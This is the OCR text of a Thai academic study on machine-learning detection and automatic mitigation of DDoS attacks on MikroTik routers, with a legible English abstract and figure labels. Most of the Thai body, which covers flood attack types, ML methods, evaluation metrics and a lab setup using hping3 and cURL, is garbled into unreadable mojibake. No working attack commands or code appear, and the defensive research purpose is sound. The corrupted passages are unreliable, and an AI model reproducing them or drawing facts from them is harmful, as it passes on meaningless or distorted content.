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ABSTRACT

A distributed denial-of-service (DDoS) attack significantly affects intemet service providers
and users, posing a serious threat to the business sector and the overall economy. The
independent study aims to develop a machine-learning model for detecting and mitigating
DDoS attacks, specifically on MikroTik routers. The model leverages the CIC-DDoS2019 dataset
alongside data from simulated attacks conducted in a controlled environment. The research
process begins with data collection and analysis, followed by the design of an operational
process and establishing an experimental environment to simulate attack scenarios. This phase
includes a systematic study of attack behaviors. Machine learmning models are developed for
integration with MikroTik routers, utilizing 4 methods: Decision Tree, Neural Network, K-nearest
neighbors, and Naive Bayes. The models are evaluated based on various metrics, including
accuracy, recall, precision, and F1-score. The results show that the Decision Tree model
performs the best, achieving an accuracy rate of 99.65% when implemented on MikroTik
routers. This model enables automated mitigation measures upon detecting abnormal
behavior, significantly reducing response times to threats and enhancing the security and

efficiency of the network system.
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1.4.2 n3Bvudveaaies (Machine Learning) vanefis nszuiumsivilvinesdiames
amnsaisuiiazUuussnaieuandeya Inglldosendoniadeulusunsuiidmun
npinasisgsenziza maBeuiveandeaunildlumndesvestiyanussiug ity
mMsfmuLuuitassiiannsafeuiandeya uagldmnuiildannsSouiiiioviuenie
uuntoyalvl

1.4.3 wwuseslulasin (Mikrotik Router) vanedia gunsaliaseuieainussm Mikrotik
efinnuBaveuuazannsausuuiiiivanranewsgdmiunisinuluedoteiemundn
uazlngjsudesziuesinsnionfusruuUftRnisiesnuuuanifiossssumsiauaiete

1.4.4 usininaadvlines (Packet Sniffer) naunedis 1a3 os o3 ewenduisild
Tumsdndu Aiasneat uaztufindeyauininafidwunietnononfinmes Tnsazamnsaui
%’agaﬁagﬂmzé’u Layer 2 84 Layer 7 anuuuudnass OSI (Open Systems Interconnection)
U MAC address, IP address, TCP/UDP port, HTTP, DNS

1.4.5 10994 3 (Hping3) nu1udi va3 osdaussiiaIde (Command-line Tool)
Aldfdmiuaine uavdwininauuuiivuateslusedu TCP/P Weltlumsvaaouiaiotie
AURBASNY

1.4.6 wsuswawuuliauysal (Incomplete Handshake) 31889 N5¥UIUNTTATI
naifeuseuuy TCP Aliliafaauysainiudunau Three-Way Handshake

1.4.7 wgUAALUU 3 N9 (Three-Way Handshake) #unefie n5zUUA1T 3 Gﬂgumau
TumsSusunsidensioszninaniegninsuaziedosusivielngliinslnasa TCP lnsiEuain
i3 eagnanedeuining SYN iteesvailousiouarialelgeneundusie SYN-ACK
JdlaBudu uaranvieindesgniieds ACK nduludnafudiefusunaidoudeliauysaiud
Jeenunsasudedeyaldedaaonsouazidedels

1.4.8 1oiile (Application Programming Interface : API) fie sqmaﬂﬁ’]ﬁl'q HeAdu v3e
Tnslnaeafilidmivlivorliusvisaansofnsouadlinuilsdduriedoyannuvensinaidn

fanilals Inglidndudesdiznsinunelunmunvesssuursegunsalildouse



1.4.9 0viiifisidn (HTTP Flood) vneds suuvumlwesmsufjesnslynsmauuunszae
fiflauiidedve (HTTP Requests) S1urummealdaiuladudordmune weldninens
szuvuvde vnlrldansnsaliuinisiudldauasala

1.4.10 Fuwdn (SYN Flood) ynefis sUuuunmsufiasnsliuinisuvunszans fiende
Yo3lniveInszuIun1s TCP Three-Way Handshake lagrflaufivzdauiining TCP SYN
Frnunnludatmaneus lids ACK nduiilelvinnsideuselianysaliliag ssuside
sen1sneundusaglininensaunun uldannsalvuinsyldnuasda

1.4.11 gaNdn (UDP Flood) nunedie n1suiasn1sliuInisuuunszany
Uszianmilafiglaufazdauining UDP Usunannludamesmsing 9 vonndoadivune
Taglsiinsideuderilviszuuuamemsdedinineinslunisnovaussviedanisiuiiinina
winduauninenaituuagliannsolisnldmuund

1.4.12 52UUATIIIUNITYUNIN (Intrusion Detection System : IDS) MuNgiie SEUUNTE
gondwIsA I lun1snsraaeuiiasedt wazududoudlefiwgAnssuinundnsenisland
flonaifntulussuninietneviestuuneuiames nslildtiesiunislauilngnsousivieid
udaieuiielViguaszuusuileldviuviasi

1.4.13 szuuliosriunsyngn (intrusion Prevention System : IPS) yanefia szuufivh
wihfinsaduuastlestunislanfviensdrdessuulasliilisueugralaganansavden uily
vidspgAnanssudeadeliviuiisnsanszuunsndumsynn Mvhlduansedulazudafion

1.4.14 n1sUasunUasusnaaulon (IP Spoofing) nuneie n1sUasunlasruiga
IP Address fuynaveaufininadeya (Packet) fidsvenlumnnielomiaiionadsiunaniaios
du Inefithmnefievasnasszuuvieyanaliideiudnnatunanuvasidediols wie
[levanidesn1sgnnsIady

1.4.15 1p309 1807158 9Hem (Content Delivery Networks : CON) i szuuLASad1e
vosndasusithefinszarseglunansgdamerialan daimihi udiundemainduled
fune i 3Unn 3dle TWd JavaScript/Css wie HTML wag dadomiulisuglda
Nninseasidefieglndfldunniian Weannatlumsinanuasifisdszavsnmasliuing

14.16 Tge1iuea (CURL) mnefis edesoussvinddsiilidmivdsiveuazfudoya
Wulnsluaeasasig o W HTTP HTTPS FTP SFTP lneanunsaldlunisfadeyasiniivlud
viedsteyaluduns osuivsmnzdmiunsaasy APl aniluanlid wienisviiay
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1.5 Useloviitlésu

1.5.1 leuuudiasenisisouiveanseafifianuudugrlunisnsadunazduun
nsdeansiinnudssonslauuuuufiasnisiiuinisuuunszaeiaansauiluiwaun
seuunTTukazesiunislansvusimesiulasinlaeg1aiusednsam

1.5.2 drwanauidsslunisfnanudeniesainnslauduuuufiasnisliuinng
wuunszenglussuuaieotieildenusimeslulasin dwalfszuuedetiodinnuades
uazUaenfuBty

1.5.3 lauwmnenistesdunislansuuuyiasnisliusnsuuunsgansuusmes

TulasAnATUsEANS A NWaLANUTULDULNTU
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LNAILASITUIYNLNY IV

mMaiaszavsamnstlestunmslaufuuuUfiesnsliuimsuuunseneuusiseslilasin
fensiieuiveain’ ssganinnsuairdastld@nmduaiienansuaraidefiivades
Tneflswandonsil

2.1 mstagdnaznisdasiunislavdivuudiasnisiiusniswuunssaney

22 msiFeuivennie

23 myvsmdlulsEdvnmresuutaesstunUssinvlumsiSeuiveunie

2.4 UIFYNNYIVDY

2.1 mslauAwazn1stasiumslanfsuulfiasnisiuinisuuunseans
2.1.1 mshaudkuuyasnisiuiniswuunsgany
nslaudn1edwnes iavliuinasesuladlyaiuisaliusnisla Unf
nslauddenaliszuuiasevgliaunsonsvauesied1seweangllanislausnisufies
msliuinisuuunszaeenfelnietnsvesrenfinneifignyninantdauss dasenituen
devenaniignauesilaedlaufazdsifosmasiummnnlusszuutmang Tunandeadiu
denalimsnernsvesszuugnifuauduussansnmuarliannsaliuinisldegsdeiies
nslaufinsufiasnisliusnsuuunssnedanududeunazendenistiestu [3] uenani
fiuszianvesnslaufnuuliasnisliuinisuuunszatgaiunsadinunesnidy 4 Yszinm
wANLAWA
2.1.1.1 milaudlngerdeUTumudeya (Volume-Based Attack) n1saeuiining
Fununnludathmngauniernedindamalilianunsaliusnsundldle laun
n. N151aNAWUY ICMP Flood (Ping Flood) dsusininaledidud
(ICMP Echo Request) Sruauannuisliiihnunedesnsunduivissuuinietieviemumein
1. mslaufuuy DNS Amplification Attack 1438nsn1sUaeuuvasiied

Lafidum1s (IP Spoofing) iadsrivaludsssuuaiavionislaufnuuifiasnisliuinig
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LuUnsEed nvualineundudisdeyadiuiunin uazvilvdoyadenaiigndandy
Tgsdhmnedmalinineinsveadminegnldaunun

2.1.1.2 mslaudlagerdedeslnivedinsinaea (Protocol-Based Attack)
nslanddilduszloviandaunnsesvesinsinaea 1wu Inslnaeadidd Insinaoaydd
wio lod i unvilh i nueldnsneansaunua laun n1slauduuyu SYN Flood
wazn1slauFkuy RST Flood

2113 mslauffdeuuuiEinad auavemaUNAAYY (Application Layer Attack)
yadlaudueundiatulnededivediguilouundudfianuiland lnge funisdedive
fguilouundusiusuamnnyiliszuuiasetngliamisaliuiaisld wu anslauduuy
HTTP Flood agn1slau@uuy Slowloris Attack

2.1.1.4 nslauauiasnishiuinisuuy (Slowloris Attack) ldnsdednve
HTTP wuuliiasysallugagliinadvledidmneuazseidonfienslaanislimineans
uvalvi sz uuiedetnglianansanevaussdvelviangliduls Tnednuaznnsloud

1 ¥

szdstoyaludatmneediedg uazdeidoslnglivinlirveasanysalszuuiaietie
Jeessoruninadeuseusarafsvuneiyas
2.1.2 msdesiunslaufuuuyiasnisiiuinisiuunssang
nslaufuuuufiasnislivinisuuunszateiud juuuunislaufivannatsuas
Fudeutulagluiagiunsdestunslanduuudfiasnisliuinisuuunszanednigin
wielulaBuazIswioluil
2.1.21 nmsnsesteyan1sasnasmeluaieie (Traffic Filtering) msnsastoya

¥ '
a v & A

P=1 Y] a o a | AY e &
n1599195UdTngUszasdiiauenuesuasdesiudsuadayamievieiliielsvasAnse
[y a % = 1 a @ a Q’l’ ) £ 4
dunsrgeanNUIuudeyanserienduund lngnssuiunisiansailalaeldinangd
(Gateway) wazsyuudue NgniauLiendnteyailimzaunouinislaufissifianies
PlAusg

2.1.2.2 nslgiAsev18n15d 9Lt on1 (Content Delivery Networks : CDN)

I dd' [ o d' d' Y a a!! o ¥

Wunalula g n g lun1snsea18nsnennsearann1syM1auUUe A a9 N uS NS AR 5989V 1A
a = % al % = a a Y a &{
SLUULANUENYTAINTBISUNS LA L wariusaNSAWluNSIAUS NSUINTU

2.1.2.3  mslnsiseusvennsewardygiuseavglunisaiuauaseyie

g3asvrdunalulagmarignininldiieiaseisluuuveinislauiuarusunistesiu
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Tungauivaniun1salniadunsmivau sz tisiissuulinnudanguiazaiunsateaiu
~ | Y 1 oo A a ° v A ~ ) a X
nslauflude loegrefivss@nsnmvlrszuuiaiedieiinulasnduundeaiy
2.1.2.4 nsldszuunisidaseialagifauaianida (Monitoring and Early
Warning Systems) lun1sdasiunislauflagysenaua85euuni1sngiadun1syngn
wazszuun1sdaaniunisynin WuesasiloNnlglunisnsiadutazudsfaunislaumlaaieniin
= v v v A | = o aaa a
9928 IR ANNUNNEIUNTONDUAUDIHDNISLALA kA LUTTUANTIN15ATIINUNISLANAINTLUY
2125 nslEhUUI1a0InNAmaA1anshazlsn1san fy8lun1sawun
N15LANAT AAT UA VST UV Y Aaf e ddud o uuNInsgIu kasn153tAs1EY
ANUKUTUTININTRYS §nIMTTesvetayaiiguiuuni H1uwuudnaes Lanchester Combat

[

naslanfivaznistesdunislanduuudiasnislivinisuuuiiuuszimudfgy
Tuduanusiuasaeadeluued TnenislaufsunuuidngUssasdi ovilszuunie
viniseauladluanunsaliusnsunldauldniudnd Ingerdunisaiunuiniadineg
yeain3asnouiiameifiAndaudsvdouon (Botnet) iadeiiasvaduiuannlgadmneg
Tunafeaiu dwalinineinsvesssuugnldaunun anunsadwunnistausieendu 4 Usaam
laud nslaudnuudesTunadeoya 1Wu ICMP Flood waz DNS Amplification N15lau
lngldradlymivasinglnaea 1Wu SYN Flood nislaudlussauueunaiatdy Wy HTTP Flood
uaz Slowloris pasaaunslanduvuaseidudeslufilfdive HTTP luauysaiii el
SEUUABITRIUMUANSNensa T uLwImenisUasiunslaudtulaguiinisiimalulad
narssUnuuIlddanty Wy n1snsesteyarsaniaiedis msldieiedienisdad o
Wenszarelnan nsdszgndlinisSouivesad esuazdyyiuszaugluniingiady

n1slsruuisyiuasifoudoaimun sudnsussendlduuudnaeameatineans

'
a a = ¥

wazadnlun1ssuunnginssuidnunf dearudunuimedrdgideinniuainnse

Tunistestunazsuilenunislauflaeg1eliuseansnin

2.2 n3REUiVRUATOY
n15i3suzronns onduaviniwesdyyiussfvg iy simuissuuaeuniines
= v v o a a Ty = a S a
aunsaeuiIndeyakarusulseussansnnlaglideaianin1sWisulusunsuuunaay
nsiseuivenasasgninunlilunatemu wu mylwsedeya nsnensal N1s3TgUiuY

Y
&

NMFUTFLIANANIWITTINNIR Uaen1sUTEUIaNanIMIngLUIAAMENTDINITSEUIVDILATOWR
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AsHAILILUUTIABT a1ursavi U enadns n3 oduundeyalvaldlnedaandeya
fifleg] Tnenseuivennieauisoonidu 3 Ussinmndn loun

2.2.1 msisguineldnisfiugua (Supervised Learning)

nsiFsuimeldnisinduquadunszuiunsiFouiilidoyadidiedduiiely
wuuaesEunsaieuiauduiusseninmuUsBassuarAmadnsla diagrauy

2.2.1.1 wuudaesuliifindula (Decision Tree) Wuuuusrassilinszuiuns

wisteyasonidudiduduresnisiadula lngodslvun (Node) wazaian (Branch)
Tumsdamnavinnenadnsmuieuladifwuslasairswesiuliiindulauieenidy 3 du

Igiun Iuns1n (Root Node) Wugaisusiuveinszuiunisindula Jesdoyaasgnuuoanaiy

v A

AuauURndAygalnuanisly (Internal Nodes) Wulnuafiogsgninanarsvesduly

o

THlunisudsteyanuitoulugeslngluunly (Leaf Nodes) iulnusiategaiiuansuadns
ypenszvIunsandula 4 enszvrunisadeduldindulaondoinasinisuysdoya
i Ateulnstd (Entropy) uaz fvdail (Gini Index) ieanarmiliiuiueuvesteyaluusias
Tunou uagidenduusimnsanigadmfunisuvangudefvesdulinaiulade
Anuasatumsinnuladeuarlifesnisusuudaeyaunntnmnduldidvualugiiull
o1aindansieusunniiuly (Overfitting) uazvilsiszansamanaadeluldu
tayatvy lnegniluldegaunsvarglunannvaisaivn wu niswensallsamenisunmg
MsRnnTesAulenIsNsiu uarnsessimginssugnalugsivooula

2.2.1.2 wuusiaeuusWiug (Naive-Bayes) 1unwuusianenisadfai i
lun1sduunussianuesdoya Inedanudgiuiidiwsunagdilianududassaindu
wfaufgiudonalinssiuteyastduunsdudnnuSeuisvouuiasstaglfdium
¥ogeinisnaziiussansamd amnzdmsvanuiidesssaianadoyadiuiuinnuaz
g lussndldluvaneana wu nsduunduaanuy myesgienufaiudauinvieau
N1303993UgINTsUANUNG wazn93TadelsnaineIn1svesiiesiegaiauauaLsILay
nssesfuteyavunlnguuudassudriugiudunvudiassiidenlunusuniseus
oain3es Inslamznuiiieadestiunisiuundssamvesdeya

2213 wuudaeuieutulndiian (K-Nearest Neighbors : K-NN) ifunla
Tunuudassiilddmsunssuuntseian uaznisnaneslngodondnnsuosszezsiig
serisgadeya dsannsnadunensyurunmsvhanlddedl WieyafifthediulunisSeus

wuudnaed K-NN WunisSeuswuuliduuudnaesnnedd deliiinnsadeieiduineSous
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Yoyaarsvhusiazlideyafifiteituiionisliausadnundeyalvalsd Tnonsduam
srogrinszmindeyaidedeinisuundeddiaglinsdnnassesvissewingadeya
TynifumnqadoyaluyeilnisAtediuansverving Idun svevmatuugadn (Eucidean Distance)
THmarmnuunndsszrinsgaaesgaluliaiimue uazszoguaLgadu (Manhattan Distance)

1Y

anunsaldldTueg fudnuuzvesdeyauaziden k Iadeyailndfianndsnndiuanszeyving
uduuuassazidendeya k 9adilndfiaaiieltiduteyasisddlunisduundiegislnl
Tnonsdvasnisduundssanagliimindesdiannandoys k 9ailnddigaiionivun
Ussianvosteyalvaidiedns wu dlunguileutuiilndiige k a 4 3 gauluuszian A
wae 2 aluusznn B ssuvazivualidisgdndldudssam A uaznsdivesnisanaes
(Regression) gldA1uIniALad sve9AWad NS INToYa k 907 IndTigalil oviune
Avesimeglnisaly

2.2.1.4 uwuudnaedlasetigussamiiiey (Artificial Neural Network : ANN)

Y

fassasnwdseandu 3 gundnlaun Fuduwe (Input Layer) u

%94 (Hidden Layers) Lag

a ¢da

Fuordng (Output Layer) BusuuuuniswasiigyuseRviiignifmutuiodounuy
mMsinureawadussaviluanosvesywd tneiinguszasdiielflunisusvananateya
waznaiFeulassisUszamifiendsenavdaelvuadid eulsstuidutulaeinissmus
Athviinuazeaftiionuaunsdshudeyasrindlun Gelssnnvedlasengyszamifis
wuanlu 4 Ussiammanleun

n. lesweUssamiienuwuuilanas3sn (Feedforward Neural Network: FNN)
Toyalmasndudunaludsduednalufienaienvanefudoyaiilidudiduu nns
Juundseinm

. lasadnguszamiuudoundu (Recurrent Neural Network: RNN):
finsdsrmadnsdounauludslvunnsuntiivinsdmiudeyadinu wu Teanuvseldes

A, lesweUssamiiguwuunauligdu (Convolutional Neural Network: CNN)
poNUUUNONTUsTINANANNILAZIALe

1. lasavreUszarmiieuwuudn (Deep Neural Network: DNN)
‘Uizﬂau6’1’3wma%uséauiﬁéﬂumiﬁauiﬁﬁﬂ (Deep Learning)

2.2.2 nmsiseuilaelidasiiiugua (Unsupervised Learing)
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nsiSouslaglidesiiduguaidunsiseusilideyadluifdnoidu lasisnnsas
werguRumgULuUideusyludeya wu nsduunngu viensanfiivesdeyaiietig
wuudaesldiuilulsun
2221 uwuudiaein1sinnaudesyauuuiadud (K-means Clustering)
Husmslddmsumssuunngudeya Tasendomsudstoyasonidu K ngu Tnefmungs
AudnasesisanguINtIMsUTIUTRaruS s 1 Jundingdumestay aueiinuaties
Brstuangdmiunieneiteyafidesnmssuunnguesisiaan

Y

2222 LLUUf\Twaaqmié’mﬂdu%’agaquﬁwﬁ’ui‘?u (Hierarchical Clustering)
Juisnsdanguieyalaglidsesivuadiuiunguaimt lngefauuifnnissiungy wie
nsuenngu tioasdlassadadiiuduvesdeyalufueiuldl Ssnusouansaudiiug
ssnindeyaudaznguldegadaumngdviunsiinsgidey afidanvuziBadeiv
WU MIIANauaIeRUS visen1sThUNlgnungRAnTTx

2.2.2.3  UUUIIABINITIANGNTaYaIUU (Density-Based Spatial Clustering of
Applications with Noise: DBSCAN) t#138n15dnngudeyanuanuvuiuiuveigadoya
laslddndudesdivuadiuiaung ua19mda Laga1u1sans133 vt ey auanngu
leRqasufoanunsadnnguieyaisigussliviueunas lsisoidesiuldimnzdmiudeyait
anwaENIEAEMIvTed noise YrUuTuIuNIN

2.2.3 n3iFgUIwULLETUAGT (Reinforcement Learning)
nsBeuduvuiaiuidadunssuiunsiieusiidaun (Agent) vinnisdadulanels
anmuanden InefidmneiefisnansuunuazaulynnfianlussezodunuasSous

HIUNISNARDILALTORANAN Tnga1funalnuaIsnatarazn1sadine deglelissuuaiunse

a

ﬂ%uﬂngqaﬂiimmmmlﬁaEmm'aLﬁmmmamumiaiﬁLﬂaauufdm
nsBeuiveundendunvumilwesdygussivgijaiilissuuneufiameannsa
Fousandeyauariauianuaiuisalunisdndulanienensainadnslalaglidndudes
flanniadeulsunsunvuidudunounieda Tnsuuafandnuesnisfougveaados
MsamLUUTIassaIndeyai oliaunsauszaianauaznovaussradeyalmiliagg
gnfeslaziaiudy MsiSeuveaiosuvseeniduamussianvdn Taun nsEeudneld
nsrifugua dadunszuiunsGouandeyaifitheiidu iieai sauduiussenine
wsdunauazsadns lnoduvuiassitenldom wu wuudaesull wwudasuudviug
g

(Naive Bayes) wuuinasaiautnulndnaniazuuuinasdlassteussamiion (Artificial Neural
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Network: ANN) € ¢ suuufl anesi3sa wuudeaundu uuuaeuligdu waswuudn
= %% o w = 9 vo ¥ U o w v 1% =
n1sFeuilaglidesiiiugua Jeldiudeyanlafidrenidu lasiiunisAumsdiuunie

lassasreiidousyludoya Wu n1sInnaudayaniuluud1aed K-means Hierarchical

Clustering uag DBSCAN n1siseusuuuiaiunds dudunszuiunisiseuiisdunuvinnig
andulanigldaninundenlagendesnsiawarunasinwiunalnlunisusuugmgAnssy
lnefimnemaiiunansuwnuazanlussezen Jeaun sounluussyndldlussuudnluds

aa o v = N T F A W -
Panududeutazildsuwlatnasnnanlnag1eiiusyansain

2.3 nmsuszfiudsEAnsainuuudnaainisiteuivaanIas
msdwunUszinndunidulymiiugiuvesniseuiveunsesildlunisiuundeoya

sonilunmanysingg auiudsBunaiinivun lnsuuudtaesazgninilegndeyainiasgn

Y 9 Y

o

NAADUA1YAT DY ANAADULN 8ATIABUAINANNTALUNTTIRUNUTELANIV g NA DS

W TAUIEANT ANV IUUT180N I F 1S UNI5I M UNUSEANT WD UA 9 TR S Nranesia

WaUseliunadns logwninivaiidglianunsailatenunineeeuuinasiuas syytan
Y3 0UBLAYVDILUUT1ADI LUTRNLANANGY

1 v [~ 9 qgilu d‘ £ a a a ) a v

2.3.1 f1Augnaed LU Tnn lYUssliulsenianvaauuudnaainsiseu;

YDA DINI DNITIUNUTLLANTASLAAI AL UI A 1UVDIAIDE1ITINUAT LUV 1D

¢ o =
WYINTUAIAUNITN 2-1

TP + TN + FP + FN

Accuracy =

Toedt TP vimneinduuan uandusss
N: vhuneinduau wasiluass
FP: yhweanduuin usass 9 Wuau
FN: vineinduau usase o Wuuin
mMsUspdusauUUsaesAAIIgNFDITigaLansiLuusaesasnsaviiunealigndea
Tudadruainn adudyyravinlunsdiyadeyaiinisnszasvesnaiasgsauga

Tun1anaduiuA1AIINgNA 0371 i a8 0 UAIAUTANAIAVBILUUTIAY ware193 1T

v
[ e a [y

t4 [y ) o POy { £ <) v A Aa £ £ o
AeelTuUsaaiwuuTIaesildnisin araugnaesasiluddinnleulduandvednin

Tngtanizlunsaii deyaliauna wWu winsesar 95.00 vesdayaidunaraau wazd
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Fosay 5.00 Luaaravinuuudiaesiiviiuie ndiegraduavezlaaininugniesds

Fowaz 95.00 AslulunsadoyaliaunanishiarsanaA1Tindusualg 1Wu AANwuEN
Ayl karAAzwuUenraiaUse i uUsEaNS NN URILUUI1a 9 Ak ugUIN T

1 I ) I~ LY dyu qul ¥ al ¥ d‘ a I3

2.3.2 aranuuiug WuidianwadanidlumunisiSeuivesaiowazn1sinsgi

JoUALNBTAAINUNNH DIVBIAINYINUNELE BLUS UL BUAUAIS 9 TaganigluLuUTNaed

Y Y

ANSUUAUTELAN FREUNITN 2-2

TP (2-2)

p . o oy
recision TP + FP

Tnedl TP: vihwnednduuin uasdudis

FP: viunednduuan unade 9 Wuau

N15UsE UNAkUUT1889AIANRI U 1@ 5085 Usla T mnAIAI ke UEN
oglusziuguuansiuuiassanuannsalunsdansesdeyaiiunguuanldetnagnsios
Tnefidnsnsvitueiagi na1fe wuudiassiuwilduyiuneiduvaniams Tunsdl
fifuuanasarindulumendufuminainuusiugieglussdusdigdentsdiuuusiaesd
wualduviwedeyadnduvinlunsdi doyaduduaveidludnaiiqe deasiouds
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3.6 NSNAILILUUIIABIT L UNNSIINAKUUUGEsNIsTUNITUUNSE A

37 madiuUszdnsamnistestunslasfvusuneslilagin

3.8 msUszdlunanisdesnunislaufuus1mesiulasan

3.1 msAneuazsIusmdayanineltas
Hinvin1sAuadndaselasivsinuazinsisideyaiioanunislanfuuul s
nnshiusnswuunszane udunidludennauiidiAydessuuiniotnowaz ssUUasaume
lnsyatun1sfnwilasasne dnvae wazussianvesnislauinasnsunalnis ldvnisdldly
n135a1L8uNslaNATINANEN1IRTINTULAaTUTIIMIHANTENUIINATSIANATUFULUUAI99 819
n1slandluszAutukeundiaty dulnslneea wazn1slauAmeUSunatayaduIuuInall
31nn1sAnwINUIINITUIMAlulag Uy 1useAvg uagnisiseus veaas oaaunsaliy
Uszansnmlunisasiaduuaztesiunislauidenanlaegsiideddey lnaawzluuiunves
NSl puRedumesIIAN R uT uog1959A57 FedwmaliuiniseouladinnudrAgne
aa ° w a o o [N 3 a =2 | !
Finuszdrtusazidwdimuieidrdgaesnislaninisleues lnefarsaniaesing
& 1 Ay w a = v = % = Y
YaunIeYIenldisuneslulasinmiufuuinianisussgnaldnisiSeusvesasaaieimun

szuutosiunslanduuudasnistiusniswuunseangliiuss@nsnmanndulusuieg
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3.2 N19IATIRVLATRRNLUUNTULUIAANITITY
nMstlauenIoULIAANTITeveIn siiuUsEAvE A wnsdestunslaufuuuufias
nsliuinisuuunszeuusmesilasindensiseuiveaniossznausie nsifu
Toyain3ovs n3iiaTgsisuuvunislandnisiamiuuudiassfenisiouveaaieq
Msdanguunasiinnvesnislend uaznsthuuudtaesszgndldnusuiuisunesllasin
nadnsA AanisAeszuuansanaunasdesiunisnislanduuuy frasnisliuinng

¥ 1 = a a o U Y A ! a
wuunseanglaegradivse@nsain wavanunsathlyusulanunsedneads

Traffic Capture

Data Processing & Model Development

Mikrotik Router Data Time Frame Data Time Frame
(10 Sec) Detail
Normal Time
Deiall
1Sec
3 o W
1Sec %
* Traffic Couter Eg{;:f
Classification - t
s uster
(g:
B0 Attack Time . .
« Deicision Tree  Detail -
* Naive Bayes
« Neural Network = K-Mean
* K-Neighbors

=

Mikrotik DDoS Classification Model Classification & Cluster

PCAP Model Classification Model Cluster
- - Data Set
Hyperparameter Tuning
AttackTime % K-Fold Cross Validation Baseline & AttackDetail
Detail
. o+t
Classification Cluster Model Model Model
2 > lode : odel .
{©} Normal Time ) Building Evaluation Building Evaluation
EN{HED Detail @
1Sec
l o= o=
* o=y o=
Attack Type  Mikrotik Router Source|P @ o= @ —) n_@
d Acc, Rec, Clustering
Pre, F1 Metrics

AN 3-1 NFDULUIAANITITEVRINI T NUTEANS A MNIsUaTUNITlaNA WYY U Les

nmsiuimsiuunsgneuunweililasinmemsieuiveuaios
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NN 3-1 wuamendiawelunwiddedyaiunisussendld n19ieusr0dAI s
Wagaslun1InsIadunasdwunUssianvesnislandvsuneslulasin denseuiu
msnnduruaansanuseondu 5 duneudsil

3.2.1 mafiusiumudeyasedielaglitoyasin CIC-DDoS2019 sauiutayanis
nageuNIsRuAIN e ulasinlnunsuiedanduuarlilunsiiaseinislaud

3.2.2 myiasengliuunslanAanndieg1 PCAP tagldisnsduusunanisdeans
nlnausgnaunie Packet Count Byte Count TCP SYN Count UDP Count HTTP Request
Count Incomplete Handshake Tutaan 1 wiawiuad

3.2.3 MINakuUIaemen1sseusveatadlagysrendly 4 F5n1slunisiaun
wuudnaes bawn dulddaduls lassnguszamiien wuudiaesnoudiulnaiige uas

o a 3
WUUYIABRUDNLUY
3.2.4 N13IANFULNATNIVRINITLANAKIUNTTIEITN19ITN1501AsINE198 9909
= a = 3 = a DA
nsaeansunAkazn1sdeansiilunslualuuUasnisiiusnisiuunssany
3.2.5 mMsdwuuinaeslssenaldauiiuduismesiulasiniaglduuudnassiuiu

API 999595 lulasinlunisTuinnawrasiuiIvesnIslaufasneluls e es

3.3 MIIANIBNAUNTAILAZENINLING DN
naws suANImSaur g Unsaldmsunisndliun1snageuUsenaunae 5neslulaskin
a a & o (% v d' a sag v o a = L3
\WWIBIRRUNIMESEMSUUSEIaNaTaYa LaviAsatpeuilnaiitinasnslaui Jegunsel
anunazgniuililunismueaiaeriediaesiiodniukazdnsizitayanisdeans
meluszuu nverdeiniedonnduteyauininadmiunmaiiudeyanaaiunisalinaes
a = v av v ° a ¢ ) ° ° o o
n1sland dedeyanlaazgnirluldlunisieseiuasWaniuuuiiaesdinsunisnsiaidu
a a Y a o A v a o d' & A A v Y
n1slanAwuuliasnishiuinisiuunszarenadlalinisinduasaslaniiedda tawn
Wireshark, Winbox, hping3 wag cURL anelasyuuufuinis Kali Linux gu 2024.1 tiveldly
n1391aeenslandlunainratesuuuy Wy Aslauduuy HTTP Flood SYN Flood Uag
UDP Flood @aifunisasisuiininatoyaiildd1aeangfnssuvesnislaudwuulias
n1slRUINIsKUUNTEANELNUsTIIUUSEANS A sLuUTnassiun1snsadunslaudludiu
v 13 s [ [ Ya gj U v g
s siaugerAminaTulaz tasiulainsieruaziaulusunsusien1wn Python

Wawausaiuszuy APl vasswmasiulasind msuaiuauwazivunAIN1siuvesgUnsal
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wievie FaduesdusenaudiAglunisdnviuasiauiwuiniinisasadusas ety
nslufnuuuasnisiiuinisuuunszaelaegediusza@vsnm
3.3.1 MaldenregUnsaliazransaniniindey
n1391aesanuNIsaldmsunTiassikardesiunislandvuudiasnisliuinng
LuunsEIwdmTuNsIAgikazloanunislansiuulfiasnisliuinisuuunssasuas

nsUssdiunalagldisineslulasinuazionsiadunasinundsunavesdoyaasodng

=

19809AUTENAUYDISLUVUTENBUA18LAS a9l an 1l AUS U1 L aLAS Y Y

Y

' o
A v

gt hPing3 waw cURL duluniasliednaeinisdwininaiieassusinadeyaniinlefiung

D

be

(Normal IPs) nansiduiduaifien wazlonidunislang (Attack IPs) wanaduldugnaaesaadl

° I a ' A o = o A a
V]']\T']UE]%UTJL?’]?@QLLQJ?J']EJL‘W@Q']a@ﬂﬂ']iiﬁllmlﬂﬁﬂLﬂﬁ@EUWEJLﬁ']LW@%‘lNIﬂsﬂﬂ

FohnihnauauUsinuveeyanseiglagUsinavesayansoineunfaggnasly

Y

Fadud@snies (Web Server) lnsusunaestayainseviemdunislaufiazgnnsinduuas

Jasdunislaudainnislanfinsevaneiaulefinvinnislaud w3 esdmsuiasesiteya

13 v v v

(PCAP Analyzer) yiwmitiniiivdeyauSunadayaainisunesiulasinalgyataya PCAP
IngldnnsiSeusveaasoniadinsgviusunadeyanaziuunindnislauivielivazdedoya
mneatlefinislandnduludusineslulasinieldidudeyadmsunisaiugunisidnia

SYUULATDUY

Attack IPs

- Normal IPs eJ
PC Computer Mikrotik 4
Router Web Server
Attack IPs
Access
Control

PCAP Analyzer
Machine Learning

A# 3-2 N1sdnaesnshauAkuulasnisiauinswuunsEateuusmeslulaskn
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3.3.2 msmangunsalngluanimwindou

3.3.2.1 NSWPULATAUI8TENINNI NS LUTASANWALADURLADS

=) a s (Y a

N9 uA L5 AT LlATANS 1WA ULAS p9mRuNLAes LT udud At Az e

o

mswszitayanisdeasilululdedfivszdvinmdainisuenidunisnisifousioati

Fausan naalull
g
Traffic Simulate Web Server
192.168.137.183/24 192.168.137.243/24
192.168.137.1/24 !E
“V//g/;? T', "E i;\\'/g\EV//\\WI\\V//\\V//\\\///\\V/A\\:'/;: PC : 1 92- 1 68. 88 . 1 0/24

192.168.88.1/24 PCAP Stream

a d' ! ! a s v A a
AINN 3-3 miLﬁn’eJaJmaSWI’J’NﬂEJaJWDLmaiﬂizmammayjamiaamiLLazLi’]Lmaﬂﬂﬂﬂim

1NNNA 3-3 Usznaumegunsaivan 3 diu laun 1aT89318090153991954AT8YY

